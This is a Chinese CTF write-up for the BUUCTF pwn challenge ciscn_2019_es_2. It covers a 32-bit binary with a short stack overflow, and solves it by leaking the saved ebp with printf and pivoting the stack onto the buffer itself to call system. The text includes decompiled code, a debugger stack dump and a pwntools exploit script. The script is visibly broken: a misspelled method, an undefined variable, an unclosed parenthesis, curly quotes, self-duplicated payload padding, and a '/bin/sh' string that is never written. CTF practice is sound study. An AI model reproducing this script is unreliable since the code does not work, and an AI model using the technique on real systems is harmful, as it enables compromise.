『BUUCTF』:PWN | ciscn_2019_es_2

附件

checksec查看防护:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA静态分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}
Main

主函数没有什么信息,接着查看vul()函数

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s
", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s
", &s);
}

可以实现栈溢出,但是溢出长度不够,能够覆盖到rbp,但是没有现成的后门函数。

这题的解题方法为栈迁移,但是这题不同于一般栈迁移的地方在不将栈迁移到bss或者是data段,而是将栈迁移到栈上。通过第一次print获取到字符串s在栈上的地址,第二次写入fake栈并进行栈迁移。

首先查看下溢出的长度为0x24+0x04,想要知道s的地址还需要知道ebp到s的距离为0xffffc1f8-0xffffc1c0 = 0x38,我们通过第一次print将ebp的地址泄露再算出s的地址。

00:0000│ ecx esp  0xffffc1c0 ◂— 'aaaa
'
01:00040xffffc1c4 ◂— 0xa /* '
' */
02:00080xffffc1c8 ◂— 0x0
... ↓
08:00200xffffc1e0 —▸ 0x80486d8 ◂— push   edi /* "Welcome, my friend. What's your name?" */
09:00240xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3c7 ◂— 0x6d6f682f ('/hom')
0a:0028│ ebp      0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0

exp写的很细:

#coding:utf-8
from pwn import *

io = process("./program")
context(arch = 'i386',os='linux',log_level='debug')

system_addr = 0x8048400
leave_ret = 0x08048562

payload = 'a'*27 +'b'
#这里的payload需要把ebp前面的空间填满,避免下面的print遇到x00截断,然后顺利得到ebp的地址。
io.recvuntil("name?")
io.send(payload)
io.recvultil("aaab")
#在·····aaaaaab之后就是ebp的地址了
s_addr = u32(a.recv(4)) - 0x38
print(hex(s_addr))
payload2 = 'aaaa' 
#给栈迁移后ebp留出来的空间
payload2 += p32(system_addr)
#这里是放入fake栈后的system_plt函数的地址,待会就是要执行这个函数了
payload2 += ‘dead’
payload2 += p32(s_addr + 0x10#这个位置应该是system的参数,但是程序中并没有现成的,所以只能把'/bin/shx00'写到后面,然后这里填s的地址加上16的偏移就是参数了,接下来就是把s填充满0x28,再后面的内容就是实现栈迁移了。
payload2 += payload2.ljust(0x28,'c')
payload2 += p32(s_addr) + p32(leave_ret)
io.send(payload2)

io.interactive()
原文地址:https://www.cnblogs.com/Zowie/p/13511906.html